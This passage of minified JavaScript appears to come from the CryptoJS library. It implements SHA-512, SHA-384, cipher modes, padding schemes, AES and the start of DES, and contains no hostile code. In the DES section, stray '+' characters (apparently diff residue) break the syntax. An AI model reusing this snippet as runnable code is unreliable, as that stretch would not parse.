e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, 